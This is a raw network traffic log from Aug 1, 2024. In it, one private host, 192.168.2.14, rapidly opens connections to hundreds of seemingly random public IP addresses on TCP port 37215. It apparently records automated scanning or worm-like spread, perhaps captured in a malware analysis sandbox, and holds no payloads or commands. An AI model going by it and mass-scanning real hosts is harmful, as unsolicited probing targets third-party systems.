Aug 1, 2024 15:35:00.337450027 CEST	37215	54100	69.134.32.164	192.168.2.14
Aug 1, 2024 15:35:00.337457895 CEST	37215	57064	41.120.210.166	192.168.2.14
Aug 1, 2024 15:35:00.337462902 CEST	40422	37215	192.168.2.14	41.200.90.140
Aug 1, 2024 15:35:00.337466955 CEST	37215	55130	41.228.155.1	192.168.2.14
Aug 1, 2024 15:35:00.337476015 CEST	37215	55048	41.179.175.67	192.168.2.14
Aug 1, 2024 15:35:00.337485075 CEST	37215	48382	197.149.19.54	192.168.2.14
Aug 1, 2024 15:35:00.337493896 CEST	37215	58852	97.250.45.42	192.168.2.14
Aug 1, 2024 15:35:00.337502956 CEST	37215	41796	32.15.100.40	192.168.2.14
Aug 1, 2024 15:35:00.337512016 CEST	37215	60678	157.34.139.219	192.168.2.14
Aug 1, 2024 15:35:00.337519884 CEST	37215	42748	157.194.230.216	192.168.2.14
Aug 1, 2024 15:35:00.337528944 CEST	37215	37040	157.115.158.85	192.168.2.14
Aug 1, 2024 15:35:00.337537050 CEST	37215	36358	169.90.93.182	192.168.2.14
Aug 1, 2024 15:35:00.337544918 CEST	37215	54662	48.237.246.202	192.168.2.14
Aug 1, 2024 15:35:00.337553024 CEST	37215	37854	197.224.170.133	192.168.2.14
Aug 1, 2024 15:35:00.337562084 CEST	37215	46784	197.82.241.173	192.168.2.14
Aug 1, 2024 15:35:00.337570906 CEST	37215	39344	157.14.74.18	192.168.2.14
Aug 1, 2024 15:35:00.337579012 CEST	37215	43764	157.52.2.31	192.168.2.14
Aug 1, 2024 15:35:00.337588072 CEST	37215	39690	197.82.105.13	192.168.2.14
Aug 1, 2024 15:35:00.337596893 CEST	37215	53904	197.116.156.209	192.168.2.14
Aug 1, 2024 15:35:00.337608099 CEST	37215	55318	41.159.222.178	192.168.2.14
Aug 1, 2024 15:35:00.337615967 CEST	37215	39948	23.22.18.80	192.168.2.14
Aug 1, 2024 15:35:00.337624073 CEST	37215	36140	157.147.180.179	192.168.2.14
Aug 1, 2024 15:35:00.337632895 CEST	37215	44948	197.11.129.185	192.168.2.14
Aug 1, 2024 15:35:00.337641954 CEST	37215	43362	58.156.129.188	192.168.2.14
Aug 1, 2024 15:35:00.337667942 CEST	44948	37215	192.168.2.14	197.11.129.185
Aug 1, 2024 15:35:00.337670088 CEST	43362	37215	192.168.2.14	58.156.129.188
Aug 1, 2024 15:35:00.337737083 CEST	37215	59596	205.168.208.22	192.168.2.14
Aug 1, 2024 15:35:00.337781906 CEST	59596	37215	192.168.2.14	205.168.208.22
Aug 1, 2024 15:35:00.338051081 CEST	54076	37215	192.168.2.14	197.164.112.203
Aug 1, 2024 15:35:00.338274002 CEST	37215	42992	78.144.226.163	192.168.2.14
Aug 1, 2024 15:35:00.338295937 CEST	37215	42048	197.80.128.182	192.168.2.14
Aug 1, 2024 15:35:00.338305950 CEST	37215	41560	157.52.248.164	192.168.2.14
Aug 1, 2024 15:35:00.338315010 CEST	42992	37215	192.168.2.14	78.144.226.163
Aug 1, 2024 15:35:00.338332891 CEST	42048	37215	192.168.2.14	197.80.128.182
Aug 1, 2024 15:35:00.338341951 CEST	41560	37215	192.168.2.14	157.52.248.164
Aug 1, 2024 15:35:00.338346004 CEST	37215	33866	157.118.9.35	192.168.2.14
Aug 1, 2024 15:35:00.338356018 CEST	37215	37484	157.32.148.252	192.168.2.14
Aug 1, 2024 15:35:00.338365078 CEST	37215	55368	157.226.171.207	192.168.2.14
Aug 1, 2024 15:35:00.338378906 CEST	33866	37215	192.168.2.14	157.118.9.35
Aug 1, 2024 15:35:00.338391066 CEST	37215	53132	41.76.2.129	192.168.2.14
Aug 1, 2024 15:35:00.338393927 CEST	37484	37215	192.168.2.14	157.32.148.252
Aug 1, 2024 15:35:00.338398933 CEST	55368	37215	192.168.2.14	157.226.171.207
Aug 1, 2024 15:35:00.338402033 CEST	37215	40360	197.137.115.65	192.168.2.14
Aug 1, 2024 15:35:00.338412046 CEST	37215	56092	157.113.145.111	192.168.2.14
Aug 1, 2024 15:35:00.338419914 CEST	37215	60978	197.170.85.99	192.168.2.14
Aug 1, 2024 15:35:00.338428974 CEST	37215	47156	105.165.63.7	192.168.2.14
Aug 1, 2024 15:35:00.338430882 CEST	53132	37215	192.168.2.14	41.76.2.129
Aug 1, 2024 15:35:00.338433027 CEST	40360	37215	192.168.2.14	197.137.115.65
Aug 1, 2024 15:35:00.338438034 CEST	37215	47762	198.104.201.44	192.168.2.14
Aug 1, 2024 15:35:00.338445902 CEST	56092	37215	192.168.2.14	157.113.145.111
Aug 1, 2024 15:35:00.338447094 CEST	37215	40986	217.249.197.83	192.168.2.14
Aug 1, 2024 15:35:00.338449001 CEST	60978	37215	192.168.2.14	197.170.85.99
Aug 1, 2024 15:35:00.338465929 CEST	47156	37215	192.168.2.14	105.165.63.7
Aug 1, 2024 15:35:00.338468075 CEST	47762	37215	192.168.2.14	198.104.201.44
Aug 1, 2024 15:35:00.338483095 CEST	40986	37215	192.168.2.14	217.249.197.83
Aug 1, 2024 15:35:00.338599920 CEST	41604	37215	192.168.2.14	197.5.110.126
Aug 1, 2024 15:35:00.338608027 CEST	37215	56016	107.13.231.246	192.168.2.14
Aug 1, 2024 15:35:00.338618994 CEST	37215	46170	41.61.168.163	192.168.2.14
Aug 1, 2024 15:35:00.338650942 CEST	46170	37215	192.168.2.14	41.61.168.163
Aug 1, 2024 15:35:00.338653088 CEST	56016	37215	192.168.2.14	107.13.231.246
Aug 1, 2024 15:35:00.338793039 CEST	37215	51884	41.200.234.185	192.168.2.14
Aug 1, 2024 15:35:00.338826895 CEST	51884	37215	192.168.2.14	41.200.234.185
Aug 1, 2024 15:35:00.339149952 CEST	42076	37215	192.168.2.14	41.141.154.192
Aug 1, 2024 15:35:00.339688063 CEST	48166	37215	192.168.2.14	197.111.174.10
Aug 1, 2024 15:35:00.340204000 CEST	60542	37215	192.168.2.14	41.40.221.28
Aug 1, 2024 15:35:00.340724945 CEST	46604	37215	192.168.2.14	41.147.137.244
Aug 1, 2024 15:35:00.341242075 CEST	60258	37215	192.168.2.14	197.41.194.147
Aug 1, 2024 15:35:00.341766119 CEST	39734	37215	192.168.2.14	197.218.203.70
Aug 1, 2024 15:35:00.342295885 CEST	34470	37215	192.168.2.14	41.28.192.174
Aug 1, 2024 15:35:00.342842102 CEST	53804	37215	192.168.2.14	197.19.184.207
Aug 1, 2024 15:35:00.343005896 CEST	37215	42882	157.254.90.108	192.168.2.14
Aug 1, 2024 15:35:00.343015909 CEST	37215	47894	197.60.134.183	192.168.2.14
Aug 1, 2024 15:35:00.343024015 CEST	37215	33556	157.201.154.148	192.168.2.14
Aug 1, 2024 15:35:00.343033075 CEST	37215	33682	188.108.83.39	192.168.2.14
Aug 1, 2024 15:35:00.343040943 CEST	37215	48662	27.13.167.201	192.168.2.14
Aug 1, 2024 15:35:00.343049049 CEST	37215	55352	157.162.42.208	192.168.2.14
Aug 1, 2024 15:35:00.343059063 CEST	37215	39564	197.146.97.77	192.168.2.14
Aug 1, 2024 15:35:00.343067884 CEST	37215	42790	157.4.86.223	192.168.2.14
Aug 1, 2024 15:35:00.343389988 CEST	41138	37215	192.168.2.14	113.16.222.200
Aug 1, 2024 15:35:00.343936920 CEST	53608	37215	192.168.2.14	144.126.245.42
Aug 1, 2024 15:35:00.344465971 CEST	41320	37215	192.168.2.14	157.50.91.84
Aug 1, 2024 15:35:00.345012903 CEST	60802	37215	192.168.2.14	197.127.128.225
Aug 1, 2024 15:35:00.345510960 CEST	37215	35712	157.254.97.58	192.168.2.14
Aug 1, 2024 15:35:00.345520973 CEST	37215	39480	41.141.133.53	192.168.2.14
Aug 1, 2024 15:35:00.345530033 CEST	37215	54940	41.172.181.125	192.168.2.14
Aug 1, 2024 15:35:00.345539093 CEST	37215	37734	197.6.51.90	192.168.2.14
Aug 1, 2024 15:35:00.345546961 CEST	37215	44912	60.130.244.9	192.168.2.14
Aug 1, 2024 15:35:00.345556974 CEST	37215	57490	197.58.10.39	192.168.2.14
Aug 1, 2024 15:35:00.345556974 CEST	35712	37215	192.168.2.14	157.254.97.58
Aug 1, 2024 15:35:00.345556974 CEST	39480	37215	192.168.2.14	41.141.133.53
Aug 1, 2024 15:35:00.345566034 CEST	37215	40422	41.200.90.140	192.168.2.14
Aug 1, 2024 15:35:00.345566988 CEST	54940	37215	192.168.2.14	41.172.181.125
Aug 1, 2024 15:35:00.345576048 CEST	37215	54076	197.164.112.203	192.168.2.14
Aug 1, 2024 15:35:00.345578909 CEST	37734	37215	192.168.2.14	197.6.51.90
Aug 1, 2024 15:35:00.345583916 CEST	44912	37215	192.168.2.14	60.130.244.9
Aug 1, 2024 15:35:00.345588923 CEST	57490	37215	192.168.2.14	197.58.10.39
Aug 1, 2024 15:35:00.345597982 CEST	40422	37215	192.168.2.14	41.200.90.140
Aug 1, 2024 15:35:00.345613003 CEST	54076	37215	192.168.2.14	197.164.112.203
Aug 1, 2024 15:35:00.345621109 CEST	37086	37215	192.168.2.14	197.67.198.48
Aug 1, 2024 15:35:00.346177101 CEST	48712	37215	192.168.2.14	197.240.3.195
Aug 1, 2024 15:35:00.346715927 CEST	60966	37215	192.168.2.14	41.30.93.7
Aug 1, 2024 15:35:00.347255945 CEST	45872	37215	192.168.2.14	157.30.104.129
Aug 1, 2024 15:35:00.347784996 CEST	57940	37215	192.168.2.14	41.15.236.234
Aug 1, 2024 15:35:00.348378897 CEST	33336	37215	192.168.2.14	180.68.37.214
Aug 1, 2024 15:35:00.348932981 CEST	51144	37215	192.168.2.14	41.25.138.196
Aug 1, 2024 15:35:00.349483967 CEST	37276	37215	192.168.2.14	206.53.65.154
Aug 1, 2024 15:35:00.349513054 CEST	37215	41604	197.5.110.126	192.168.2.14
Aug 1, 2024 15:35:00.349523067 CEST	37215	42076	41.141.154.192	192.168.2.14
Aug 1, 2024 15:35:00.349531889 CEST	37215	48166	197.111.174.10	192.168.2.14
Aug 1, 2024 15:35:00.349560976 CEST	41604	37215	192.168.2.14	197.5.110.126
Aug 1, 2024 15:35:00.349561930 CEST	42076	37215	192.168.2.14	41.141.154.192
Aug 1, 2024 15:35:00.349598885 CEST	48166	37215	192.168.2.14	197.111.174.10
Aug 1, 2024 15:35:00.349663973 CEST	37215	60542	41.40.221.28	192.168.2.14
Aug 1, 2024 15:35:00.349673986 CEST	37215	46604	41.147.137.244	192.168.2.14
Aug 1, 2024 15:35:00.349683046 CEST	37215	60258	197.41.194.147	192.168.2.14
Aug 1, 2024 15:35:00.349693060 CEST	37215	39734	197.218.203.70	192.168.2.14
Aug 1, 2024 15:35:00.349699020 CEST	60542	37215	192.168.2.14	41.40.221.28
Aug 1, 2024 15:35:00.349700928 CEST	37215	34470	41.28.192.174	192.168.2.14
Aug 1, 2024 15:35:00.349706888 CEST	46604	37215	192.168.2.14	41.147.137.244
Aug 1, 2024 15:35:00.349728107 CEST	39734	37215	192.168.2.14	197.218.203.70
Aug 1, 2024 15:35:00.349726915 CEST	60258	37215	192.168.2.14	197.41.194.147
Aug 1, 2024 15:35:00.349752903 CEST	34470	37215	192.168.2.14	41.28.192.174
Aug 1, 2024 15:35:00.350073099 CEST	58630	37215	192.168.2.14	41.131.210.195
Aug 1, 2024 15:35:00.350157022 CEST	37215	53804	197.19.184.207	192.168.2.14
Aug 1, 2024 15:35:00.350199938 CEST	53804	37215	192.168.2.14	197.19.184.207
Aug 1, 2024 15:35:00.350348949 CEST	37215	41138	113.16.222.200	192.168.2.14
Aug 1, 2024 15:35:00.350359917 CEST	37215	53608	144.126.245.42	192.168.2.14
Aug 1, 2024 15:35:00.350368977 CEST	37215	41320	157.50.91.84	192.168.2.14
Aug 1, 2024 15:35:00.350378036 CEST	37215	60802	197.127.128.225	192.168.2.14
Aug 1, 2024 15:35:00.350384951 CEST	41138	37215	192.168.2.14	113.16.222.200
Aug 1, 2024 15:35:00.350389957 CEST	53608	37215	192.168.2.14	144.126.245.42
Aug 1, 2024 15:35:00.350406885 CEST	41320	37215	192.168.2.14	157.50.91.84
Aug 1, 2024 15:35:00.350410938 CEST	60802	37215	192.168.2.14	197.127.128.225
Aug 1, 2024 15:35:00.350649118 CEST	52256	37215	192.168.2.14	157.207.137.17
Aug 1, 2024 15:35:00.350876093 CEST	37215	37086	197.67.198.48	192.168.2.14
Aug 1, 2024 15:35:00.350929022 CEST	37086	37215	192.168.2.14	197.67.198.48
Aug 1, 2024 15:35:00.351141930 CEST	37215	48712	197.240.3.195	192.168.2.14
Aug 1, 2024 15:35:00.351183891 CEST	48712	37215	192.168.2.14	197.240.3.195
Aug 1, 2024 15:35:00.351223946 CEST	60002	37215	192.168.2.14	197.31.132.85
Aug 1, 2024 15:35:00.351535082 CEST	37215	60966	41.30.93.7	192.168.2.14
Aug 1, 2024 15:35:00.351572037 CEST	60966	37215	192.168.2.14	41.30.93.7
Aug 1, 2024 15:35:00.351772070 CEST	36982	37215	192.168.2.14	41.5.166.214
Aug 1, 2024 15:35:00.352138996 CEST	37215	45872	157.30.104.129	192.168.2.14
Aug 1, 2024 15:35:00.352185965 CEST	45872	37215	192.168.2.14	157.30.104.129
Aug 1, 2024 15:35:00.352304935 CEST	33408	37215	192.168.2.14	197.243.28.138
Aug 1, 2024 15:35:00.352861881 CEST	38392	37215	192.168.2.14	41.19.42.246
Aug 1, 2024 15:35:00.352907896 CEST	37215	57940	41.15.236.234	192.168.2.14
Aug 1, 2024 15:35:00.352941036 CEST	57940	37215	192.168.2.14	41.15.236.234
Aug 1, 2024 15:35:00.353410959 CEST	58878	37215	192.168.2.14	41.197.214.17
Aug 1, 2024 15:35:00.353584051 CEST	37215	33336	180.68.37.214	192.168.2.14
Aug 1, 2024 15:35:00.353622913 CEST	33336	37215	192.168.2.14	180.68.37.214
Aug 1, 2024 15:35:00.353931904 CEST	37215	51144	41.25.138.196	192.168.2.14
Aug 1, 2024 15:35:00.353950977 CEST	56406	37215	192.168.2.14	150.104.237.3
Aug 1, 2024 15:35:00.353971004 CEST	51144	37215	192.168.2.14	41.25.138.196
Aug 1, 2024 15:35:00.354479074 CEST	57996	37215	192.168.2.14	41.135.159.193
Aug 1, 2024 15:35:00.354564905 CEST	37215	37276	206.53.65.154	192.168.2.14
Aug 1, 2024 15:35:00.354604006 CEST	37276	37215	192.168.2.14	206.53.65.154
Aug 1, 2024 15:35:00.355003119 CEST	45490	37215	192.168.2.14	41.210.32.53
Aug 1, 2024 15:35:00.355320930 CEST	37215	58630	41.131.210.195	192.168.2.14
Aug 1, 2024 15:35:00.355354071 CEST	58630	37215	192.168.2.14	41.131.210.195
Aug 1, 2024 15:35:00.355458021 CEST	34600	37215	192.168.2.14	41.78.120.21
Aug 1, 2024 15:35:00.355478048 CEST	58140	37215	192.168.2.14	197.105.131.94
Aug 1, 2024 15:35:00.355499029 CEST	42660	37215	192.168.2.14	73.38.23.67
Aug 1, 2024 15:35:00.355525017 CEST	51110	37215	192.168.2.14	157.242.52.91
Aug 1, 2024 15:35:00.355544090 CEST	56794	37215	192.168.2.14	157.23.170.138
Aug 1, 2024 15:35:00.355565071 CEST	47622	37215	192.168.2.14	41.89.107.167
Aug 1, 2024 15:35:00.355597973 CEST	38676	37215	192.168.2.14	41.235.197.244
Aug 1, 2024 15:35:00.355623007 CEST	52134	37215	192.168.2.14	197.63.190.45
Aug 1, 2024 15:35:00.355644941 CEST	40128	37215	192.168.2.14	157.78.220.41
Aug 1, 2024 15:35:00.355659962 CEST	45270	37215	192.168.2.14	41.76.128.203
Aug 1, 2024 15:35:00.355683088 CEST	47842	37215	192.168.2.14	197.85.142.182
Aug 1, 2024 15:35:00.355707884 CEST	53612	37215	192.168.2.14	63.120.40.133
Aug 1, 2024 15:35:00.355727911 CEST	52332	37215	192.168.2.14	197.246.30.64
Aug 1, 2024 15:35:00.355751038 CEST	43516	37215	192.168.2.14	136.46.29.148
Aug 1, 2024 15:35:00.355776072 CEST	54066	37215	192.168.2.14	41.41.71.88
Aug 1, 2024 15:35:00.355794907 CEST	58120	37215	192.168.2.14	157.138.174.217
Aug 1, 2024 15:35:00.355796099 CEST	37215	52256	157.207.137.17	192.168.2.14
Aug 1, 2024 15:35:00.355814934 CEST	38032	37215	192.168.2.14	118.192.63.141
Aug 1, 2024 15:35:00.355837107 CEST	52256	37215	192.168.2.14	157.207.137.17
Aug 1, 2024 15:35:00.355859041 CEST	38160	37215	192.168.2.14	41.109.220.125
Aug 1, 2024 15:35:00.355896950 CEST	55546	37215	192.168.2.14	41.107.94.48
Aug 1, 2024 15:35:00.355897903 CEST	53610	37215	192.168.2.14	112.128.136.30
Aug 1, 2024 15:35:00.355916023 CEST	52230	37215	192.168.2.14	41.52.107.254
Aug 1, 2024 15:35:00.355935097 CEST	48760	37215	192.168.2.14	41.83.163.99
Aug 1, 2024 15:35:00.355958939 CEST	60170	37215	192.168.2.14	197.185.111.97
Aug 1, 2024 15:35:00.355979919 CEST	60736	37215	192.168.2.14	197.23.60.168
Aug 1, 2024 15:35:00.355998039 CEST	47982	37215	192.168.2.14	219.155.0.124
Aug 1, 2024 15:35:00.356021881 CEST	48540	37215	192.168.2.14	41.161.102.218
Aug 1, 2024 15:35:00.356040001 CEST	51530	37215	192.168.2.14	166.223.221.164
Aug 1, 2024 15:35:00.356064081 CEST	38604	37215	192.168.2.14	157.5.109.189
Aug 1, 2024 15:35:00.356091022 CEST	55922	37215	192.168.2.14	157.158.183.224
Aug 1, 2024 15:35:00.356105089 CEST	56008	37215	192.168.2.14	18.194.167.50
Aug 1, 2024 15:35:00.356134892 CEST	54614	37215	192.168.2.14	91.194.45.38
Aug 1, 2024 15:35:00.356152058 CEST	56658	37215	192.168.2.14	41.74.123.25
Aug 1, 2024 15:35:00.356167078 CEST	60958	37215	192.168.2.14	138.214.102.216
Aug 1, 2024 15:35:00.356190920 CEST	35164	37215	192.168.2.14	41.43.100.163
Aug 1, 2024 15:35:00.356210947 CEST	42080	37215	192.168.2.14	157.120.66.165
Aug 1, 2024 15:35:00.356234074 CEST	44458	37215	192.168.2.14	197.167.39.95
Aug 1, 2024 15:35:00.356252909 CEST	57760	37215	192.168.2.14	134.183.251.243
Aug 1, 2024 15:35:00.356272936 CEST	52548	37215	192.168.2.14	41.219.197.16
Aug 1, 2024 15:35:00.356283903 CEST	37215	60002	197.31.132.85	192.168.2.14
Aug 1, 2024 15:35:00.356302023 CEST	45930	37215	192.168.2.14	157.88.68.208
Aug 1, 2024 15:35:00.356323004 CEST	59124	37215	192.168.2.14	157.154.48.216
Aug 1, 2024 15:35:00.356328011 CEST	60002	37215	192.168.2.14	197.31.132.85
Aug 1, 2024 15:35:00.356350899 CEST	38492	37215	192.168.2.14	197.130.251.3
Aug 1, 2024 15:35:00.356379032 CEST	39722	37215	192.168.2.14	197.89.173.242
Aug 1, 2024 15:35:00.356399059 CEST	49434	37215	192.168.2.14	157.253.10.34
Aug 1, 2024 15:35:00.356415033 CEST	51284	37215	192.168.2.14	197.16.100.78
Aug 1, 2024 15:35:00.356431961 CEST	49080	37215	192.168.2.14	197.12.225.254
Aug 1, 2024 15:35:00.356458902 CEST	50658	37215	192.168.2.14	197.12.95.190
Aug 1, 2024 15:35:00.356478930 CEST	57158	37215	192.168.2.14	41.79.160.146
Aug 1, 2024 15:35:00.356498957 CEST	39040	37215	192.168.2.14	157.103.47.32
Aug 1, 2024 15:35:00.356517076 CEST	60084	37215	192.168.2.14	41.108.249.103
Aug 1, 2024 15:35:00.356540918 CEST	56866	37215	192.168.2.14	197.17.179.252
Aug 1, 2024 15:35:00.356564999 CEST	49598	37215	192.168.2.14	41.245.185.224
Aug 1, 2024 15:35:00.356586933 CEST	52470	37215	192.168.2.14	157.79.109.3
Aug 1, 2024 15:35:00.356604099 CEST	38602	37215	192.168.2.14	41.74.126.187
Aug 1, 2024 15:35:00.356626987 CEST	60786	37215	192.168.2.14	41.253.236.38
Aug 1, 2024 15:35:00.356652975 CEST	59754	37215	192.168.2.14	197.71.147.151
Aug 1, 2024 15:35:00.356658936 CEST	37215	36982	41.5.166.214	192.168.2.14
Aug 1, 2024 15:35:00.356667042 CEST	44178	37215	192.168.2.14	41.154.118.32
Aug 1, 2024 15:35:00.356694937 CEST	36982	37215	192.168.2.14	41.5.166.214
Aug 1, 2024 15:35:00.356707096 CEST	54374	37215	192.168.2.14	197.185.178.240
Aug 1, 2024 15:35:00.356728077 CEST	47958	37215	192.168.2.14	197.53.237.26
Aug 1, 2024 15:35:00.356754065 CEST	44908	37215	192.168.2.14	211.54.101.57
Aug 1, 2024 15:35:00.356775045 CEST	54016	37215	192.168.2.14	41.68.28.149
Aug 1, 2024 15:35:00.356796026 CEST	59884	37215	192.168.2.14	137.133.125.210
Aug 1, 2024 15:35:00.356817007 CEST	47192	37215	192.168.2.14	197.99.211.31
Aug 1, 2024 15:35:00.356839895 CEST	35858	37215	192.168.2.14	197.54.229.169
Aug 1, 2024 15:35:00.356861115 CEST	37582	37215	192.168.2.14	126.100.155.189
Aug 1, 2024 15:35:00.356878996 CEST	46182	37215	192.168.2.14	157.101.162.13
Aug 1, 2024 15:35:00.356899977 CEST	47902	37215	192.168.2.14	41.52.12.132
Aug 1, 2024 15:35:00.356920958 CEST	34372	37215	192.168.2.14	197.121.155.108
Aug 1, 2024 15:35:00.356945992 CEST	39218	37215	192.168.2.14	166.169.83.193
Aug 1, 2024 15:35:00.356966972 CEST	44948	37215	192.168.2.14	197.11.129.185
Aug 1, 2024 15:35:00.356987000 CEST	43362	37215	192.168.2.14	58.156.129.188
Aug 1, 2024 15:35:00.357004881 CEST	59596	37215	192.168.2.14	205.168.208.22
Aug 1, 2024 15:35:00.357027054 CEST	42992	37215	192.168.2.14	78.144.226.163
Aug 1, 2024 15:35:00.357048035 CEST	42048	37215	192.168.2.14	197.80.128.182
Aug 1, 2024 15:35:00.357074976 CEST	41560	37215	192.168.2.14	157.52.248.164
Aug 1, 2024 15:35:00.357109070 CEST	33866	37215	192.168.2.14	157.118.9.35
Aug 1, 2024 15:35:00.357110023 CEST	37484	37215	192.168.2.14	157.32.148.252
Aug 1, 2024 15:35:00.357139111 CEST	55368	37215	192.168.2.14	157.226.171.207
Aug 1, 2024 15:35:00.357151985 CEST	53132	37215	192.168.2.14	41.76.2.129
Aug 1, 2024 15:35:00.357167959 CEST	40360	37215	192.168.2.14	197.137.115.65
Aug 1, 2024 15:35:00.357192039 CEST	56092	37215	192.168.2.14	157.113.145.111
Aug 1, 2024 15:35:00.357212067 CEST	60978	37215	192.168.2.14	197.170.85.99
Aug 1, 2024 15:35:00.357237101 CEST	47156	37215	192.168.2.14	105.165.63.7
Aug 1, 2024 15:35:00.357259035 CEST	47762	37215	192.168.2.14	198.104.201.44
Aug 1, 2024 15:35:00.357278109 CEST	40986	37215	192.168.2.14	217.249.197.83
Aug 1, 2024 15:35:00.357295036 CEST	56016	37215	192.168.2.14	107.13.231.246
Aug 1, 2024 15:35:00.357316017 CEST	46170	37215	192.168.2.14	41.61.168.163
Aug 1, 2024 15:35:00.357343912 CEST	51884	37215	192.168.2.14	41.200.234.185
Aug 1, 2024 15:35:00.357361078 CEST	35712	37215	192.168.2.14	157.254.97.58
Aug 1, 2024 15:35:00.357381105 CEST	39480	37215	192.168.2.14	41.141.133.53
Aug 1, 2024 15:35:00.357408047 CEST	54940	37215	192.168.2.14	41.172.181.125
Aug 1, 2024 15:35:00.357429028 CEST	37734	37215	192.168.2.14	197.6.51.90
Aug 1, 2024 15:35:00.357450008 CEST	44912	37215	192.168.2.14	60.130.244.9
Aug 1, 2024 15:35:00.357471943 CEST	57490	37215	192.168.2.14	197.58.10.39
Aug 1, 2024 15:35:00.357492924 CEST	40422	37215	192.168.2.14	41.200.90.140
Aug 1, 2024 15:35:00.357516050 CEST	54076	37215	192.168.2.14	197.164.112.203
Aug 1, 2024 15:35:00.357533932 CEST	41604	37215	192.168.2.14	197.5.110.126
Aug 1, 2024 15:35:00.357552052 CEST	42076	37215	192.168.2.14	41.141.154.192
Aug 1, 2024 15:35:00.357574940 CEST	48166	37215	192.168.2.14	197.111.174.10
Aug 1, 2024 15:35:00.357599020 CEST	60542	37215	192.168.2.14	41.40.221.28
Aug 1, 2024 15:35:00.357620955 CEST	46604	37215	192.168.2.14	41.147.137.244
Aug 1, 2024 15:35:00.357636929 CEST	60258	37215	192.168.2.14	197.41.194.147
Aug 1, 2024 15:35:00.357664108 CEST	39734	37215	192.168.2.14	197.218.203.70
Aug 1, 2024 15:35:00.357681990 CEST	34470	37215	192.168.2.14	41.28.192.174
Aug 1, 2024 15:35:00.357703924 CEST	53804	37215	192.168.2.14	197.19.184.207
Aug 1, 2024 15:35:00.357728004 CEST	41138	37215	192.168.2.14	113.16.222.200
Aug 1, 2024 15:35:00.357753038 CEST	53608	37215	192.168.2.14	144.126.245.42
Aug 1, 2024 15:35:00.357772112 CEST	41320	37215	192.168.2.14	157.50.91.84
Aug 1, 2024 15:35:00.357795954 CEST	60802	37215	192.168.2.14	197.127.128.225
Aug 1, 2024 15:35:00.357815981 CEST	37086	37215	192.168.2.14	197.67.198.48
Aug 1, 2024 15:35:00.357841015 CEST	48712	37215	192.168.2.14	197.240.3.195
Aug 1, 2024 15:35:00.357863903 CEST	60966	37215	192.168.2.14	41.30.93.7
Aug 1, 2024 15:35:00.357881069 CEST	45872	37215	192.168.2.14	157.30.104.129
Aug 1, 2024 15:35:00.357904911 CEST	57940	37215	192.168.2.14	41.15.236.234
Aug 1, 2024 15:35:00.357932091 CEST	33336	37215	192.168.2.14	180.68.37.214
Aug 1, 2024 15:35:00.357953072 CEST	51144	37215	192.168.2.14	41.25.138.196
Aug 1, 2024 15:35:00.357974052 CEST	37276	37215	192.168.2.14	206.53.65.154
Aug 1, 2024 15:35:00.357990980 CEST	58630	37215	192.168.2.14	41.131.210.195
Aug 1, 2024 15:35:00.358011961 CEST	34600	37215	192.168.2.14	41.78.120.21
Aug 1, 2024 15:35:00.358026028 CEST	58140	37215	192.168.2.14	197.105.131.94
Aug 1, 2024 15:35:00.358037949 CEST	42660	37215	192.168.2.14	73.38.23.67
Aug 1, 2024 15:35:00.358047009 CEST	51110	37215	192.168.2.14	157.242.52.91
Aug 1, 2024 15:35:00.358062029 CEST	56794	37215	192.168.2.14	157.23.170.138
Aug 1, 2024 15:35:00.358062029 CEST	47622	37215	192.168.2.14	41.89.107.167
Aug 1, 2024 15:35:00.358079910 CEST	60206	37215	192.168.2.14	41.56.153.170
Aug 1, 2024 15:35:00.358107090 CEST	40906	37215	192.168.2.14	41.150.42.173
Aug 1, 2024 15:35:00.358377934 CEST	40734	37215	192.168.2.14	157.135.198.113
Aug 1, 2024 15:35:00.358935118 CEST	57400	37215	192.168.2.14	106.98.95.231
Aug 1, 2024 15:35:00.359457016 CEST	40258	37215	192.168.2.14	41.167.163.83
Aug 1, 2024 15:35:00.360043049 CEST	54542	37215	192.168.2.14	197.202.200.221
Aug 1, 2024 15:35:00.360496998 CEST	38676	37215	192.168.2.14	41.235.197.244
Aug 1, 2024 15:35:00.360500097 CEST	52134	37215	192.168.2.14	197.63.190.45
Aug 1, 2024 15:35:00.360512018 CEST	40128	37215	192.168.2.14	157.78.220.41
Aug 1, 2024 15:35:00.360523939 CEST	45270	37215	192.168.2.14	41.76.128.203
Aug 1, 2024 15:35:00.360527992 CEST	47842	37215	192.168.2.14	197.85.142.182
Aug 1, 2024 15:35:00.360538960 CEST	53612	37215	192.168.2.14	63.120.40.133
Aug 1, 2024 15:35:00.360549927 CEST	52332	37215	192.168.2.14	197.246.30.64
Aug 1, 2024 15:35:00.360568047 CEST	43516	37215	192.168.2.14	136.46.29.148
Aug 1, 2024 15:35:00.360569000 CEST	54066	37215	192.168.2.14	41.41.71.88
Aug 1, 2024 15:35:00.360578060 CEST	58120	37215	192.168.2.14	157.138.174.217
Aug 1, 2024 15:35:00.360584021 CEST	38032	37215	192.168.2.14	118.192.63.141
Aug 1, 2024 15:35:00.360591888 CEST	38160	37215	192.168.2.14	41.109.220.125
Aug 1, 2024 15:35:00.360609055 CEST	55546	37215	192.168.2.14	41.107.94.48
Aug 1, 2024 15:35:00.360615969 CEST	52230	37215	192.168.2.14	41.52.107.254
Aug 1, 2024 15:35:00.360627890 CEST	53610	37215	192.168.2.14	112.128.136.30
Aug 1, 2024 15:35:00.360627890 CEST	48760	37215	192.168.2.14	41.83.163.99
Aug 1, 2024 15:35:00.360635042 CEST	60170	37215	192.168.2.14	197.185.111.97
Aug 1, 2024 15:35:00.360645056 CEST	60736	37215	192.168.2.14	197.23.60.168
Aug 1, 2024 15:35:00.360649109 CEST	47982	37215	192.168.2.14	219.155.0.124
Aug 1, 2024 15:35:00.360656977 CEST	48540	37215	192.168.2.14	41.161.102.218
Aug 1, 2024 15:35:00.360666990 CEST	51530	37215	192.168.2.14	166.223.221.164
Aug 1, 2024 15:35:00.360680103 CEST	38604	37215	192.168.2.14	157.5.109.189
Aug 1, 2024 15:35:00.360697985 CEST	55922	37215	192.168.2.14	157.158.183.224
Aug 1, 2024 15:35:00.360708952 CEST	56008	37215	192.168.2.14	18.194.167.50
Aug 1, 2024 15:35:00.360718012 CEST	54614	37215	192.168.2.14	91.194.45.38
Aug 1, 2024 15:35:00.360729933 CEST	56658	37215	192.168.2.14	41.74.123.25
Aug 1, 2024 15:35:00.360743999 CEST	60958	37215	192.168.2.14	138.214.102.216
Aug 1, 2024 15:35:00.360748053 CEST	35164	37215	192.168.2.14	41.43.100.163
Aug 1, 2024 15:35:00.360749960 CEST	42080	37215	192.168.2.14	157.120.66.165
Aug 1, 2024 15:35:00.360764980 CEST	44458	37215	192.168.2.14	197.167.39.95
Aug 1, 2024 15:35:00.360766888 CEST	57760	37215	192.168.2.14	134.183.251.243
